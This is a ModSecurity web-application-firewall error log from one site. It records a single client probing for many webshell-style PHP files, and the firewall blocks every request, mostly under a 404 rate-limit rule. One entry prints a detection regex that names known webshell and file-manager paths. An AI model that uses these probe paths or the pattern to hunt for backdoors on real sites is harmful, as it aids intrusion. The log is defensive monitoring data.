[Sat Nov 15 01:11:24.005439 2025] [:error] [pid 45909:tid 45980] [client 4.205.91.17:62752] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless3.php"] [unique_id "aRdivMZqItrYybG86kiSjwAAAc8"]
[Sat Nov 15 01:11:24.486943 2025] [:error] [pid 18513:tid 18521] [client 4.205.91.17:62819] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless3.php"] [unique_id "aRdivPc94upQFzRWlUm9ngAAAEM"]
[Sat Nov 15 01:11:24.928738 2025] [:error] [pid 45995:tid 46011] [client 4.205.91.17:64702] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "aRdivMfhZrb6EV4SvFu8RQAAAgs"]
[Sat Nov 15 01:11:25.348274 2025] [:error] [pid 18513:tid 18533] [client 4.205.91.17:61006] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "aRdivfc94upQFzRWlUm9oAAAAE8"]
[Sat Nov 15 01:11:25.831655 2025] [:error] [pid 18513:tid 18534] [client 4.205.91.17:64650] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "aRdivfc94upQFzRWlUm9owAAAFA"]
[Sat Nov 15 01:11:26.270962 2025] [:error] [pid 18513:tid 18529] [client 4.205.91.17:62018] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsd.php"] [unique_id "aRdivvc94upQFzRWlUm9pgAAAEs"]
[Sat Nov 15 01:11:26.689494 2025] [:error] [pid 45907:tid 45934] [client 4.205.91.17:65401] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aRdivlAqmYxCpnT9gJF-xQAAAVc"]
[Sat Nov 15 01:11:27.131364 2025] [:error] [pid 45995:tid 46021] [client 4.205.91.17:61618] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aRdiv8fhZrb6EV4SvFu8RwAAAhU"]
[Sat Nov 15 01:11:27.565604 2025] [:error] [pid 45995:tid 46024] [client 4.205.91.17:61974] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aRdiv8fhZrb6EV4SvFu8SAAAAhg"]
[Sat Nov 15 01:11:28.013650 2025] [:error] [pid 18513:tid 18523] [client 4.205.91.17:65379] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "aRdiwPc94upQFzRWlUm9qgAAAEU"]
[Sat Nov 15 01:11:28.457729 2025] [:error] [pid 45995:tid 46006] [client 4.205.91.17:62720] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/he.php"] [unique_id "aRdiwMfhZrb6EV4SvFu8SwAAAgY"]
[Sat Nov 15 01:11:28.927462 2025] [:error] [pid 45909:tid 45981] [client 4.205.91.17:62792] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/he.php"] [unique_id "aRdiwMZqItrYybG86kiSkQAAAdA"]
[Sat Nov 15 01:11:29.392972 2025] [:error] [pid 18513:tid 18525] [client 4.205.91.17:64669] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/he.php"] [unique_id "aRdiwfc94upQFzRWlUm9rQAAAEc"]
[Sat Nov 15 01:11:29.813965 2025] [:error] [pid 45907:tid 45930] [client 4.205.91.17:65390] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/he.php"] [unique_id "aRdiwVAqmYxCpnT9gJF-ygAAAVM"]
[Sat Nov 15 01:11:30.273897 2025] [:error] [pid 45907:tid 45917] [client 4.205.91.17:62843] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aves.php"] [unique_id "aRdiwlAqmYxCpnT9gJF-zAAAAUY"]
[Sat Nov 15 01:11:30.710188 2025] [:error] [pid 18513:tid 18523] [client 4.205.91.17:64763] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aves.php"] [unique_id "aRdiwvc94upQFzRWlUm9swAAAEU"]
[Sat Nov 15 01:11:31.251872 2025] [:error] [pid 45907:tid 45916] [client 4.205.91.17:62730] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aves.php"] [unique_id "aRdiw1AqmYxCpnT9gJF-zgAAAUU"]
[Sat Nov 15 01:11:31.677783 2025] [:error] [pid 45908:tid 45943] [client 4.205.91.17:62733] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aves.php"] [unique_id "aRdiw2WG19mWwZX7KatdbwAAAAU"]
[Sat Nov 15 01:11:32.149979 2025] [:error] [pid 18513:tid 18542] [client 4.205.91.17:62779] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRdixPc94upQFzRWlUm9tgAAAFg"]
[Sat Nov 15 01:11:32.567430 2025] [:error] [pid 45995:tid 46017] [client 4.205.91.17:62724] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRdixMfhZrb6EV4SvFu8TQAAAhE"]
[Sat Nov 15 01:11:33.014701 2025] [:error] [pid 45907:tid 45925] [client 4.205.91.17:64681] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRdixVAqmYxCpnT9gJF-0AAAAU4"]
[Sat Nov 15 01:11:33.457602 2025] [:error] [pid 18513:tid 18541] [client 4.205.91.17:62030] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aRdixfc94upQFzRWlUm9uAAAAFc"]
[Sat Nov 15 01:11:34.047754 2025] [:error] [pid 18513:tid 18523] [client 4.205.91.17:65368] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "aRdixvc94upQFzRWlUm9ugAAAEU"]
[Sat Nov 15 01:11:34.511430 2025] [:error] [pid 18513:tid 18526] [client 4.205.91.17:62036] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "aRdixvc94upQFzRWlUm9vgAAAEg"]
[Sat Nov 15 01:11:34.943503 2025] [:error] [pid 45907:tid 45933] [client 4.205.91.17:61964] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "aRdixlAqmYxCpnT9gJF-0QAAAVY"]
[Sat Nov 15 01:11:35.415092 2025] [:error] [pid 18513:tid 18530] [client 4.205.91.17:64705] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gorila.php"] [unique_id "aRdix_c94upQFzRWlUm9wQAAAEw"]
[Sat Nov 15 01:11:35.834058 2025] [:error] [pid 18513:tid 18524] [client 4.205.91.17:64646] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "aRdix_c94upQFzRWlUm9xAAAAEY"]
[Sat Nov 15 01:11:36.348363 2025] [:error] [pid 45909:tid 45986] [client 4.205.91.17:64766] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "aRdiyMZqItrYybG86kiSlwAAAdU"]
[Sat Nov 15 01:11:36.759494 2025] [:error] [pid 45909:tid 45975] [client 4.205.91.17:65373] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "aRdiyMZqItrYybG86kiSmQAAAco"]
[Sat Nov 15 01:11:37.231861 2025] [:error] [pid 45995:tid 46024] [client 4.205.91.17:65300] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vanta.php"] [unique_id "aRdiycfhZrb6EV4SvFu8UgAAAhg"]
[Sat Nov 15 01:11:37.681851 2025] [:error] [pid 45908:tid 45959] [client 4.205.91.17:61575] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sh3ll.php"] [unique_id "aRdiyWWG19mWwZX7KatdfgAAABU"]
[Sat Nov 15 01:11:38.118985 2025] [:error] [pid 45995:tid 46014] [client 4.205.91.17:61615] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sh3ll.php"] [unique_id "aRdiysfhZrb6EV4SvFu8VgAAAg4"]
[Sat Nov 15 01:11:38.625165 2025] [:error] [pid 45908:tid 45947] [client 4.205.91.17:65283] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sh3ll.php"] [unique_id "aRdiymWG19mWwZX7KatdggAAAAk"]
[Sat Nov 15 01:11:39.067978 2025] [:error] [pid 45908:tid 45943] [client 4.205.91.17:65363] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sh3ll.php"] [unique_id "aRdiy2WG19mWwZX7KatdhgAAAAU"]
[Sat Nov 15 01:11:39.493154 2025] [:error] [pid 45907:tid 45928] [client 4.205.91.17:61645] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aRdiy1AqmYxCpnT9gJF-1AAAAVE"]
[Sat Nov 15 01:11:39.954532 2025] [:error] [pid 45909:tid 45976] [client 4.205.91.17:65329] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aRdiy8ZqItrYybG86kiSmgAAAcs"]
[Sat Nov 15 01:11:40.567660 2025] [:error] [pid 45907:tid 45920] [client 4.205.91.17:62023] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aRdizFAqmYxCpnT9gJF-1QAAAUk"]
[Sat Nov 15 01:11:41.029720 2025] [:error] [pid 45995:tid 46000] [client 4.205.91.17:62741] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cabs.php"] [unique_id "aRdizcfhZrb6EV4SvFu8WwAAAgA"]
[Sat Nov 15 01:11:41.492330 2025] [:error] [pid 18513:tid 18527] [client 4.205.91.17:61978] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdizfc94upQFzRWlUm9ygAAAEk"]
[Sat Nov 15 01:11:41.964286 2025] [:error] [pid 45909:tid 45989] [client 4.205.91.17:65334] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdizcZqItrYybG86kiSngAAAdg"]
[Sat Nov 15 01:11:42.384870 2025] [:error] [pid 45907:tid 45913] [client 4.205.91.17:62789] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdizlAqmYxCpnT9gJF-2QAAAUI"]
[Sat Nov 15 01:11:42.840896 2025] [:error] [pid 45995:tid 46005] [client 4.205.91.17:65292] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filesss.php"] [unique_id "aRdizsfhZrb6EV4SvFu8YQAAAgU"]
[Sat Nov 15 01:11:43.306701 2025] [:error] [pid 45908:tid 45954] [client 4.205.91.17:62029] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "aRdiz2WG19mWwZX7KatdiQAAABA"]
[Sat Nov 15 01:11:43.886979 2025] [:error] [pid 45908:tid 45946] [client 4.205.91.17:64721] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "aRdiz2WG19mWwZX7KatdiwAAAAg"]
[Sat Nov 15 01:11:49.927120 2025] [:error] [pid 45907:tid 45918] [client 4.205.91.17:62814] [client 4.205.91.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aRdi1VAqmYxCpnT9gJF-5QAAAUc"]
[Sat Nov 15 01:11:57.896384 2025] [:error] [pid 45908:tid 45947] [client 4.205.91.17:62045] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/avaa.php"] [unique_id "aRdi3WWG19mWwZX7KatdoAAAAAk"]
[Sat Nov 15 01:11:58.338514 2025] [:error] [pid 45908:tid 45945] [client 4.205.91.17:61639] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/avaa.php"] [unique_id "aRdi3mWG19mWwZX7KatdoQAAAAc"]
[Sat Nov 15 01:11:58.795250 2025] [:error] [pid 45907:tid 45923] [client 4.205.91.17:62064] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/avaa.php"] [unique_id "aRdi3lAqmYxCpnT9gJF-6AAAAUw"]
[Sat Nov 15 01:11:59.461741 2025] [:error] [pid 18513:tid 18537] [client 4.205.91.17:62821] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/avaa.php"] [unique_id "aRdi3_c94upQFzRWlUm96wAAAFM"]
[Sat Nov 15 01:12:00.016257 2025] [:error] [pid 45907:tid 45917] [client 4.205.91.17:62013] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aRdi4FAqmYxCpnT9gJF-6gAAAUY"]
[Sat Nov 15 01:12:00.458172 2025] [:error] [pid 45995:tid 46003] [client 4.205.91.17:62079] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aRdi4MfhZrb6EV4SvFu8cAAAAgM"]
[Sat Nov 15 01:12:01.004727 2025] [:error] [pid 45908:tid 45960] [client 4.205.91.17:65405] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aRdi4WWG19mWwZX7KatdpwAAABY"]
[Sat Nov 15 01:12:01.433981 2025] [:error] [pid 45909:tid 45979] [client 4.205.91.17:64741] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aRdi4cZqItrYybG86kiSsgAAAc4"]
[Sat Nov 15 01:12:01.861485 2025] [:error] [pid 45909:tid 45967] [client 4.205.91.17:64754] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "aRdi4cZqItrYybG86kiSswAAAcI"]
[Sat Nov 15 01:12:02.303678 2025] [:error] [pid 45907:tid 45929] [client 4.205.91.17:61019] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat1.php"] [unique_id "aRdi4lAqmYxCpnT9gJF-7wAAAVI"]
